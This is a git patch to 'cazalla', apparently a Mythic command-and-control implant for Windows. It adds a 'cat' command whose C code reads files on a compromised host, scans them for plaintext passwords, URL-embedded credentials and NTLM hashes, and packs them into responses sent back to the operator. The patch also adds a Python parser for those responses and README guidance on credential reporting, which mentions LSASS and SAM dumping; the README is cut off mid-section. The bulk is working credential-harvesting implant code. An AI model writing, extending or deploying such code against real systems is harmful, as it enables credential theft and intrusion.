From 43bac24419c18453bd6593764f9e87a5a28201c1 Mon Sep 17 00:00:00 2001 From: "marcos.luna" Date: Wed, 29 Oct 2025 14:56:02 +0100 Subject: [PATCH] Credentials created --- .../agent_code/cazalla/SistemadeFicheros.c | 508 ++++++++++++++++++ .../agent_code/cazalla/SistemadeFicheros.h | 2 + .../cazalla/agent_code/cazalla/comandos.c | 2 + .../cazalla/agent_code/cazalla/comandos.h | 1 + .../cazalla/agent_code/cazalla/paquete.c | 36 ++ .../cazalla/agent_code/cazalla/paquete.h | 5 + .../cazalla/cazalla/agent_functions/cat.py | 54 ++ .../cazalla/translator/commands_from_c2.py | 1 + .../translator/commands_from_implant.py | 100 +++- README.md | 175 +++++- 10 files changed, 879 insertions(+), 5 deletions(-) create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/cat.py diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c index b11bdc7..c3342d1 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c @@ -7,6 +7,9 @@ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...); #define _CRT_SECURE_NO_WARNINGS #pragma warning(disable : 4996) +#include +#include + VOID CambiarDirectorio(PAnalizador argumentos) { SIZE_T tamanoUuid = 36; PCHAR tareaUuid = getString(argumentos, &tamanoUuid); @@ -442,4 +445,509 @@ VOID EliminarRuta(PAnalizador argumentos){ end:; // Cleanup LocalFree(ruta); +} + +// Helper function to detect credentials in file content (internal use only) +// Returns TRUE if credentials were found and added +static BOOL detectarCredencialesEnContenido(PPaquete respuestaTarea, PCHAR contenido, SIZE_T tamanoContenido) { + if (!contenido || tamanoContenido == 0) { + return FALSE; + } + + BOOL credencialesEncontradas = FALSE; + char buffer[4096] = {0}; + + // Convertir contenido a string null-terminated para análisis + PCHAR contenidoStr = (PCHAR)LocalAlloc(LPTR, tamanoContenido + 1); + if (!contenidoStr) { + return FALSE; + } + memcpy(contenidoStr, contenido, tamanoContenido); + contenidoStr[tamanoContenido] = '\0'; + + // Buscar patrones comunes de credenciales línea por línea + PCHAR lineaActual = contenidoStr; + PCHAR siguienteLinea = NULL; + + while (lineaActual < contenidoStr + tamanoContenido) { + // Encontrar fin de línea + siguienteLinea = lineaActual; + while (*siguienteLinea != '\n' && *siguienteLinea != '\r' && *siguienteLinea != '\0') { + siguienteLinea++; + } + + SIZE_T lineaLen = siguienteLinea - lineaActual; + if (lineaLen > sizeof(buffer) - 1) { + lineaLen = sizeof(buffer) - 1; + } + + memcpy(buffer, lineaActual, lineaLen); + buffer[lineaLen] = '\0'; + + // Convertir a minúsculas para búsqueda case-insensitive + char lineaLower[4096] = {0}; + for (SIZE_T i = 0; i < lineaLen && i < sizeof(lineaLower) - 1; i++) { + lineaLower[i] = tolower(buffer[i]); + } + + // Patrón 0: username:password (formato simple y muy común) + // Soporta múltiples formatos: + // - username:password + // - dominio\usuario:password + // - usuario@dominio:password + PCHAR colonPtr = (PCHAR)memchr(buffer, ':', lineaLen); + if (colonPtr && colonPtr > buffer && colonPtr < buffer + lineaLen - 1) { + // Verificar que el formato parece username:password + // No debe haber espacios antes del : + BOOL isValidFormat = TRUE; + PCHAR checkSpace = buffer; + while (checkSpace < colonPtr) { + if (*checkSpace == ' ' || *checkSpace == '\t') { + isValidFormat = FALSE; + break; + } + checkSpace++; + } + + // Verificar que después del : hay al menos un carácter no-espacio + PCHAR afterColon = colonPtr + 1; + if (*afterColon == ' ' || *afterColon == '\t' || *afterColon == '\0') { + isValidFormat = FALSE; + } + + if (isValidFormat) { + // Extraer password (después del :) + SIZE_T passLen = 0; + PCHAR passStart = afterColon; + while (passStart < buffer + lineaLen && + *passStart != ' ' && *passStart != '\t' && + *passStart != '\r' && *passStart != '\n' && + *passStart != '\0') { + passLen++; + passStart++; + } + + // Verificar que no es solo un hash (32 hex chars) - eso lo detectamos más abajo + BOOL isLikelyHash = FALSE; + if (passLen == 32) { + isLikelyHash = TRUE; + for (SIZE_T i = 0; i < 32 && afterColon + i < buffer + lineaLen; i++) { + if (!isxdigit(afterColon[i])) { + isLikelyHash = FALSE; + break; + } + } + } + + if (passLen > 0 && passLen < 512 && !isLikelyHash) { + char password[512] = {0}; + memcpy(password, afterColon, passLen); + password[passLen] = '\0'; + + // Extraer username y realm según el formato + SIZE_T userLen = colonPtr - buffer; + if (userLen > 0 && userLen < 256) { + char username[256] = {0}; + char realm[256] = {0}; + BOOL hasRealm = FALSE; + + // Buscar formato dominio\usuario + // Buscar backslash en el buffer original (no en lineaLower) + PCHAR backslashPtr = NULL; + for (SIZE_T i = 0; i < userLen; i++) { + if (buffer[i] == '\\') { + backslashPtr = buffer + i; + break; + } + } + + if (backslashPtr && backslashPtr > buffer && backslashPtr < colonPtr) { + // Formato: dominio\usuario + SIZE_T domainLen = backslashPtr - buffer; + SIZE_T actualUserLen = colonPtr - backslashPtr - 1; + + if (domainLen > 0 && domainLen < 255 && actualUserLen > 0 && actualUserLen < 255) { + // Copiar dominio al realm + memcpy(realm, buffer, domainLen); + realm[domainLen] = '\0'; + // Copiar usuario al username (saltar el backslash) + memcpy(username, backslashPtr + 1, actualUserLen); + username[actualUserLen] = '\0'; + hasRealm = TRUE; + _dbg("[cat] Formato dominio\\usuario detectado: domainLen=%zu, actualUserLen=%zu, realm='%s', username='%s'", + domainLen, actualUserLen, realm, username); + } else { + _dbg("[cat] Formato dominio\\usuario inválido: domainLen=%zu, actualUserLen=%zu", + domainLen, actualUserLen); + } + } else { + // Buscar formato usuario@dominio + // Buscar @ en el buffer original + PCHAR atPtr = NULL; + for (SIZE_T i = 0; i < userLen; i++) { + if (buffer[i] == '@') { + atPtr = buffer + i; + break; + } + } + + if (atPtr && atPtr > buffer && atPtr < colonPtr) { + // Formato: usuario@dominio + SIZE_T actualUserLen = atPtr - buffer; + SIZE_T domainLen = colonPtr - atPtr - 1; + + if (actualUserLen > 0 && actualUserLen < 255 && domainLen > 0 && domainLen < 255) { + // Copiar usuario al username + memcpy(username, buffer, actualUserLen); + username[actualUserLen] = '\0'; + // Copiar dominio al realm (saltar el @) + memcpy(realm, atPtr + 1, domainLen); + realm[domainLen] = '\0'; + hasRealm = TRUE; + _dbg("[cat] Formato usuario@dominio detectado: actualUserLen=%zu, domainLen=%zu, username='%s', realm='%s'", + actualUserLen, domainLen, username, realm); + } else { + _dbg("[cat] Formato usuario@dominio inválido: actualUserLen=%zu, domainLen=%zu", + actualUserLen, domainLen); + } + } else { + // Formato simple: username:password + memcpy(username, buffer, userLen); + username[userLen] = '\0'; + // realm queda vacío + hasRealm = FALSE; + _dbg("[cat] Formato simple detectado: username='%s'", username); + } + } + + // Limpiar espacios finales del username y realm + SIZE_T tempLen = strlen(username); + while (tempLen > 0 && (username[tempLen-1] == ' ' || username[tempLen-1] == '\t')) { + username[--tempLen] = '\0'; + } + if (hasRealm) { + tempLen = strlen(realm); + while (tempLen > 0 && (realm[tempLen-1] == ' ' || realm[tempLen-1] == '\t')) { + realm[--tempLen] = '\0'; + } + } + + // Verificar que los valores extraídos son válidos antes de reportar + if (username[0] != '\0' && password[0] != '\0') { + // Verificar que realm tiene contenido válido si hasRealm es TRUE + PCHAR realmToUse = ""; + if (hasRealm) { + SIZE_T realmLen = strlen(realm); + if (realmLen > 0) { + realmToUse = realm; + } + } + // Si hasRealm es FALSE o realm está vacío, realmToUse queda como "" + + _dbg("[cat] Agregando credential: username='%s', realm='%s' (hasRealm=%d, realmLen=%zu), password='%.20s'", + username, realmToUse[0] != '\0' ? realmToUse : "(empty)", + hasRealm ? 1 : 0, hasRealm ? strlen(realm) : 0, password); + + addCredential(respuestaTarea, "plaintext", realmToUse, password, username); + credencialesEncontradas = TRUE; + // Continuar al siguiente patrón - esta línea ya fue procesada + if (*siguienteLinea == '\r') siguienteLinea++; + if (*siguienteLinea == '\n') siguienteLinea++; + lineaActual = siguienteLinea; + if (*siguienteLinea == '\0') break; + continue; // Saltar otros patrones para esta línea ya procesada + } + } + } + } + } + + // Patrón 1: password=value o password:value + PCHAR passPtr = strstr(lineaLower, "password"); + if (passPtr) { + // Buscar el delimitador (= o :) + PCHAR delimitador = strchr(passPtr, '='); + if (!delimitador) delimitador = strchr(passPtr, ':'); + + if (delimitador) { + delimitador++; // Saltar el delimitador + // Buscar el valor (saltar espacios) + while (*delimitador == ' ' || *delimitador == '\t') delimitador++; + + // Buscar username en la misma línea o anterior + PCHAR userPtr = strstr(lineaLower, "user"); + char username[256] = {0}; + if (userPtr) { + PCHAR userDelim = strchr(userPtr, '='); + if (!userDelim) userDelim = strchr(userPtr, ':'); + if (userDelim) { + userDelim++; + while (*userDelim == ' ' || *userDelim == '\t') userDelim++; + SIZE_T userLen = 0; + while (*userDelim != ' ' && *userDelim != '\t' && *userDelim != '\r' && + *userDelim != '\n' && *userDelim != '\0' && userLen < sizeof(username) - 1) { + username[userLen++] = buffer[userDelim - lineaLower]; + userDelim++; + } + username[userLen] = '\0'; + } + } + + // Extraer password value + SIZE_T passLen = 0; + char password[512] = {0}; + PCHAR passStart = buffer + (delimitador - lineaLower); + while (*passStart != ' ' && *passStart != '\t' && *passStart != '\r' && + *passStart != '\n' && *passStart != '\0' && passLen < sizeof(password) - 1) { + password[passLen++] = *passStart; + passStart++; + } + password[passLen] = '\0'; + + if (passLen > 0) { + addCredential(respuestaTarea, "plaintext", "", + password, + username[0] != '\0' ? username : "unknown"); + credencialesEncontradas = TRUE; + } + } + } + + // Patrón 2: http://user:pass@host + PCHAR httpPtr = strstr(lineaLower, "http://"); + if (!httpPtr) httpPtr = strstr(lineaLower, "https://"); + if (httpPtr) { + PCHAR atPtr = strchr(httpPtr, '@'); + if (atPtr) { + // Buscar : antes del @ + PCHAR colonPtr = httpPtr; + while (colonPtr < atPtr && *colonPtr != ':') colonPtr++; + if (colonPtr < atPtr && *colonPtr == ':') { + PCHAR protocolEnd = httpPtr; + while (*protocolEnd != '/' && *protocolEnd != '\0') protocolEnd++; + if (*protocolEnd == '/' && protocolEnd[1] == '/') { + protocolEnd += 2; // Saltar "//" + SIZE_T userLen = colonPtr - protocolEnd; + SIZE_T passLen = atPtr - colonPtr - 1; + + if (userLen > 0 && userLen < 256 && passLen > 0 && passLen < 512) { + char username[256] = {0}; + char password[512] = {0}; + memcpy(username, buffer + (protocolEnd - lineaLower), userLen); + username[userLen] = '\0'; + memcpy(password, buffer + (colonPtr - lineaLower + 1), passLen); + password[passLen] = '\0'; + + addCredential(respuestaTarea, "plaintext", "", password, username); + credencialesEncontradas = TRUE; + } + } + } + } + } + + // Patrón 3: Hash NTLM (formato aad3b435b51404ee:hash) + PCHAR hashPtr = strstr(buffer, "aad3b435b51404ee"); + if (!hashPtr) { + // Buscar formato :hash (32 bytes hex después de :) + for (PCHAR p = buffer; p < buffer + lineaLen - 32; p++) { + if (*p == ':' && isxdigit(p[1])) { + // Verificar si los siguientes 32 caracteres son hex + BOOL isValidHash = TRUE; + for (int i = 1; i <= 32 && p + i < buffer + lineaLen; i++) { + if (!isxdigit(p[i])) { + isValidHash = FALSE; + break; + } + } + if (isValidHash && p + 33 <= buffer + lineaLen) { + char hash[65] = {0}; + memcpy(hash, p + 1, 32); + hash[32] = '\0'; + + // Buscar username antes del hash + char username[256] = {0}; + PCHAR userStart = buffer; + while (userStart < p && (*userStart == ' ' || *userStart == '\t')) userStart++; + SIZE_T userLen = p - userStart; + if (userLen > 0 && userLen < sizeof(username)) { + memcpy(username, userStart, userLen); + username[userLen] = '\0'; + // Limpiar espacios finales + while (userLen > 0 && (username[userLen-1] == ' ' || username[userLen-1] == '\t')) { + username[--userLen] = '\0'; + } + } + + addCredential(respuestaTarea, "hash", "", hash, + username[0] != '\0' ? username : "unknown"); + credencialesEncontradas = TRUE; + break; + } + } + } + } else { + // Formato aad3b435b51404ee:hash + PCHAR colonAfterPrefix = hashPtr + 16; // 16 = strlen("aad3b435b51404ee") + if (*colonAfterPrefix == ':' && colonAfterPrefix + 32 < buffer + lineaLen) { + char hash[65] = {0}; + memcpy(hash, hashPtr, 16); + hash[16] = ':'; + memcpy(hash + 17, colonAfterPrefix + 1, 32); + hash[49] = '\0'; + + // Buscar username + char username[256] = {0}; + PCHAR userStart = buffer; + while (userStart < hashPtr && (*userStart == ' ' || *userStart == '\t')) userStart++; + SIZE_T userLen = hashPtr - userStart; + if (userLen > 0 && userLen < sizeof(username)) { + memcpy(username, userStart, userLen); + username[userLen] = '\0'; + while (userLen > 0 && (username[userLen-1] == ' ' || username[userLen-1] == '\t')) { + username[--userLen] = '\0'; + } + } + + addCredential(respuestaTarea, "hash", "", hash, + username[0] != '\0' ? username : "unknown"); + credencialesEncontradas = TRUE; + } + } + + // Avanzar al siguiente carácter después del fin de línea + if (*siguienteLinea == '\r') siguienteLinea++; + if (*siguienteLinea == '\n') siguienteLinea++; + lineaActual = siguienteLinea; + + if (*siguienteLinea == '\0') break; + } + + LocalFree(contenidoStr); + return credencialesEncontradas; +} + +VOID LeerFichero(PAnalizador argumentos) { + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + + _dbg("\t tenemos %d argumentos", nbArg); + if (nbArg == 0) { + return; + } + + SIZE_T tamano = 0; + PCHAR rutaFichero = getString(argumentos, &tamano); + + _dbg("Reading file: \"%s\"", rutaFichero); + + // Abrir archivo para lectura + HANDLE hFile = CreateFileA( + rutaFichero, + GENERIC_READ, + FILE_SHARE_READ, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + if (hFile == INVALID_HANDLE_VALUE) { + DWORD error = GetLastError(); + + _err("[cat] No se ha podido abrir el archivo. Código: %lu\n", error); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error: No se pudo abrir el archivo. Código: %lu\n", error); + + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + + mandarPaquete(respuestaError); + + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + goto end; + } + + // Obtener tamaño del archivo + DWORD fileSizeHigh = 0; + DWORD fileSizeLow = GetFileSize(hFile, &fileSizeHigh); + DWORD fileSize = fileSizeLow; // Usar solo low para archivos < 4GB (suficiente para nuestros propósitos) + + // Limitar tamaño máximo para evitar problemas de memoria (10MB) + const DWORD MAX_FILE_SIZE = 10 * 1024 * 1024; + if (fileSize > MAX_FILE_SIZE || fileSizeHigh > 0) { + _err("[cat] Archivo demasiado grande: %lu bytes (máximo: %lu bytes)\n", fileSize, MAX_FILE_SIZE); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error: Archivo demasiado grande. Máximo permitido: %lu bytes\n", + MAX_FILE_SIZE); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + CloseHandle(hFile); + goto end; + } + + // Leer contenido del archivo + PBYTE contenidoArchivo = (PBYTE)LocalAlloc(LPTR, fileSize + 1); + if (!contenidoArchivo) { + _err("[cat] No se pudo asignar memoria para el archivo\n"); + CloseHandle(hFile); + goto end; + } + + DWORD bytesRead = 0; + if (!ReadFile(hFile, contenidoArchivo, fileSize, &bytesRead, NULL)) { + DWORD error = GetLastError(); + _err("[cat] Error leyendo el archivo. Código: %lu\n", error); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error leyendo archivo. Código: %lu\n", error); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + + LocalFree(contenidoArchivo); + CloseHandle(hFile); + goto end; + } + + CloseHandle(hFile); + contenidoArchivo[bytesRead] = '\0'; // Asegurar null termination + + PPaquete salida = nuevoPaquete(0, FALSE); + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + + // Agregar contenido del archivo a la salida + addBytes(salida, contenidoArchivo, bytesRead, FALSE); + + addString(respuestaTarea, tareaUuid, FALSE); + addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + + // Detectar y agregar credenciales si se encuentran + // NOTA: No agregamos artifacts porque es una operación de solo lectura + BOOL credsFound = detectarCredencialesEnContenido(respuestaTarea, (PCHAR)contenidoArchivo, bytesRead); + if (credsFound) { + _dbg("[cat] Credenciales detectadas y agregadas"); + } + + mandarPaquete(respuestaTarea); + liberarPaquete(salida); + liberarPaquete(respuestaTarea); + + LocalFree(contenidoArchivo); + +end: + LocalFree(rutaFichero); } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h index 4634a6e..38cab13 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h @@ -17,4 +17,6 @@ VOID CrearRuta(PAnalizador argumentos); VOID EliminarRuta(PAnalizador argumentos); +VOID LeerFichero(PAnalizador argumentos); + #endif //FILESYSTEM_H \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index b962788..b18f5e5 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -60,6 +60,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { CrearRuta(analizadorTarea); } else if (tarea == RM_CMD) { EliminarRuta(analizadorTarea); + } else if (tarea == CAT_CMD) { + LeerFichero(analizadorTarea); } else if (tarea == START_SOCKS_CMD) { DBG_PRINTF("Received START_SOCKS_CMD"); startSocksHandler(analizadorTarea); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index d86e27c..d6b1093 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -28,6 +28,7 @@ #define CP_CMD 0x23 #define MKDIR_CMD 0x24 #define RM_CMD 0x25 +#define CAT_CMD 0x26 /* New SOCKS control commands (agent-side) */ #define START_SOCKS_CMD 0x60 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index ebf545c..1b4fc48 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -660,4 +660,40 @@ VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value) { SIZE_T value_len = strlen(artifact_value); addInt32(paquete, (UINT32)value_len); addString(paquete, artifact_value, FALSE); +} + +// Helper function to add credentials to response packages +// Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account] +// credential_type must be one of: plaintext, certificate, hash, key, ticket, cookie +VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account) { + if (!paquete || !credential_type || !credential || !account) { + return; + } + + // Credential marker (0xFE, different from artifact marker 0xFF) + addByte(paquete, 0xFE); + + // Credential type length and value + SIZE_T type_len = strlen(credential_type); + addInt32(paquete, (UINT32)type_len); + addString(paquete, credential_type, FALSE); + + // Realm (can be empty string, but must be included) + // Handle NULL realm parameter by using empty string + PCHAR realmToAdd = (realm && realm[0] != '\0') ? realm : ""; + SIZE_T realm_len = strlen(realmToAdd); + addInt32(paquete, (UINT32)realm_len); + if (realm_len > 0) { + addString(paquete, realmToAdd, FALSE); + } + + // Credential length and value + SIZE_T cred_len = strlen(credential); + addInt32(paquete, (UINT32)cred_len); + addString(paquete, credential, FALSE); + + // Account length and value + SIZE_T account_len = strlen(account); + addInt32(paquete, (UINT32)account_len); + addString(paquete, account, FALSE); } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h index 76aba6a..4136003 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h @@ -35,4 +35,9 @@ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...); /* Format: [0xFF marker][artifact_type_len:4][artifact_type][artifact_value_len:4][artifact_value] */ VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value); +/* Credential helper: adds credential marker and data to response package */ +/* Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account] */ +/* credential_type must be: plaintext, certificate, hash, key, ticket, or cookie */ +VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/cat.py b/Payload_Type/cazalla/cazalla/agent_functions/cat.py new file mode 100644 index 0000000..6ee1891 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/cat.py @@ -0,0 +1,54 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class CatArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="file", + type=ParameterType.String, + description="Ruta del archivo a leer" + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Se debe indicar un archivo a leer") + self.add_arg("file", self.command_line) + + async def parse_dictionary(self, dictionary): + self.load_args_from_dictionary(dictionary) + + +class CatCommand(CommandBase): + cmd = "cat" + needs_admin = False + help_cmd = "cat C:\\ruta\\al\\archivo.txt" + description = "Lee el contenido de un archivo y detecta credenciales automáticamente" + version = 1 + author = "Kaseya OFSTeam" + attackmapping = [] + argument_class = CatArguments + attributes = CommandAttributes( + builtin=False, + supported_os=[SupportedOS.Windows], + suggested_command=False + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + """ + Process response from agent. + Note: The cat command automatically detects and reports credentials if found in file content. + """ + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 85eb3d4..c195fee 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -14,6 +14,7 @@ commands = { "cp": {"hex_code": 0x23, "input_type": "string"}, "mkdir": {"hex_code": 0x24, "input_type": "string"}, "rm": {"hex_code": 0x25, "input_type": "string"}, + "cat": {"hex_code": 0x26, "input_type": "string"}, # Added SOCKS control commands "start_socks": {"hex_code": 0x60, "input_type": "int"}, "stop_socks": {"hex_code": 0x61, "input_type": None}, diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index a40a491..f7e17d8 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -178,8 +178,11 @@ def postResponse(data): print(f"Tamaño después de extraer UUID: {len(data)} bytes") - # Parse artifacts: format [0xFF][type_len:4][type][value_len:4][value] + # Parse artifacts and credentials: + # Artifacts format: [0xFF][type_len:4][type][value_len:4][value] + # Credentials format: [0xFE][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account] artifacts_data = [] + credentials_data = [] remaining_data = data while len(remaining_data) >= 5: # At least: marker (1) + type_len (4) @@ -225,8 +228,84 @@ def postResponse(data): remaining_data = remaining_data[offset:] except: break + elif remaining_data[0] == 0xFE: + # Credential marker found + offset = 1 + + # Extract credential type + if len(remaining_data) < offset + 4: + break + type_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if type_len == 0 or len(remaining_data) < offset + type_len: + break + + try: + credential_type = remaining_data[offset:offset+type_len].decode('cp850') + offset += type_len + except: + break + + # Extract realm + if len(remaining_data) < offset + 4: + break + realm_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if realm_len > 0: + if len(remaining_data) < offset + realm_len: + break + try: + realm = remaining_data[offset:offset+realm_len].decode('cp850') + offset += realm_len + except: + break + else: + realm = "" + + # Extract credential + if len(remaining_data) < offset + 4: + break + credential_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if credential_len == 0 or len(remaining_data) < offset + credential_len: + break + + try: + credential = remaining_data[offset:offset+credential_len].decode('cp850') + offset += credential_len + except: + break + + # Extract account + if len(remaining_data) < offset + 4: + break + account_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if account_len == 0 or len(remaining_data) < offset + account_len: + break + + try: + account = remaining_data[offset:offset+account_len].decode('cp850') + offset += account_len + + credentials_data.append({ + "credential_type": credential_type, + "realm": realm, + "credential": credential, + "account": account + }) + print(f"[CREDENTIALS] Detectado credential: {credential_type} para {account}@{realm if realm else '(local)'}") + + # Continue parsing for multiple credentials + remaining_data = remaining_data[offset:] + except: + break else: - # No more artifacts + # No more artifacts or credentials break try: @@ -297,6 +376,23 @@ def postResponse(data): if len(artifacts) > 0: jsonTask["artifacts"] = artifacts print(f"[ARTIFACTS] Total de artifacts agregados: {len(artifacts)}") + + # Support for credentials: create credentials from parsed data + credentials = [] + + # Process all detected credentials + for cred_info in credentials_data: + credentials.append({ + "credential_type": cred_info["credential_type"], + "realm": cred_info["realm"], + "credential": cred_info["credential"], + "account": cred_info["account"] + }) + + # Add credentials array if we have any + if len(credentials) > 0: + jsonTask["credentials"] = credentials + print(f"[CREDENTIALS] Total de credentials agregados: {len(credentials)}") resTaks.append(jsonTask) diff --git a/README.md b/README.md index f84bd8b..2f37351 100644 --- a/README.md +++ b/README.md @@ -24,6 +24,7 @@ - [Configuration](#configuration) - [Process Browser Integration](#process-browser-integration) - [Artifacts Support](#artifacts-support) +- [Credentials Support](#credentials-support) - [Development](#development) - [Troubleshooting](#troubleshooting) - [Credits](#credits) @@ -179,6 +180,7 @@ For more information, see the [Mythic documentation on customizing public agents | `cp` | Copy files | `cp source.txt dest.txt` | | `mkdir` | Create directory | `mkdir C:\temp\new_folder` | | `rm` | Delete file or directory | `rm C:\temp\file.txt` | +| `cat` | Read file contents (with automatic credential detection) | `cat C:\path\to\file.txt` | ### Execution & Control @@ -607,7 +609,9 @@ Example implementations: ### Best Practices for New Commands -**When developing new commands, always consider artifact reporting:** +**When developing new commands, always consider artifact and credential reporting:** + +#### Artifacts ✅ **Commands that SHOULD report artifacts:** - Any command that creates, modifies, or deletes files (`cp`, `mkdir`, `rm`, `upload`, `download`) @@ -617,16 +621,170 @@ Example implementations: - Any command that modifies system configuration ❌ **Commands that DON'T need artifacts:** -- Read-only operations (`ls`, `cd`, `pwd`, `cat`, `read`) +- Read-only operations (`ls`, `cd`, `pwd`, `cat`, `read`) - these don't modify system state - Information gathering commands (`ps`, `whoami`, `hostname`) - unless they create processes - Commands that only change local state (`sleep`, `exit`) **Rule of thumb**: If the command modifies system state or creates forensic evidence, it should report an artifact. +#### Credentials + +✅ **Commands that SHOULD report credentials:** +- Commands that extract credentials from system memory (LSASS dumps, SAM, etc.) +- Commands that read configuration files containing credentials (`cat`, file readers) +- Commands that extract authentication data (certificates, keys, tickets, cookies) +- Commands that parse credential databases (browsers, password managers, etc.) +- Commands that intercept authentication traffic +- Any command that discovers passwords, hashes, or other authentication material + +**Note on `cat`/file reading commands**: While read-only operations don't need artifacts, they SHOULD analyze content and report discovered credentials using `addCredential()`. The `cat` command is a perfect example - it automatically detects and reports: +- Format `username:password` (e.g., `marcos:password123`) +- Format `dominio\usuario:password` (e.g., `test\marcos:password`, extracts realm="test", account="marcos") +- Format `usuario@dominio:password` (e.g., `marcos@tes.com:password`, extracts realm="tes.com", account="marcos") +- Passwords in format `password=value` or `password:value` +- HTTP URLs with embedded credentials: `http://user:pass@host` +- NTLM hashes (format `aad3b435b51404ee:hash` or `:32hexchars`) + +**How to add credentials in your command:** +```c +// After discovering credentials, add them to the response +addCredential(respuestaTarea, "plaintext", "DOMAIN", "password123", "username"); +addCredential(respuestaTarea, "hash", "", "aad3b435b51404ee...", "Administrator"); + +// For domain accounts with formato dominio\usuario: +// Extract domain as realm, username as account +addCredential(respuestaTarea, "plaintext", "DOMAIN", "password", "username"); + +// For format usuario@dominio, extract domain as realm: +addCredential(respuestaTarea, "plaintext", "tes.com", "password", "marcos"); +``` + For more information, see the [Mythic Artifacts documentation](https://docs.mythic-c2.net/customizing/hooking-features/artifacts). --- +## 🔑 Credentials Support + +Cazalla supports 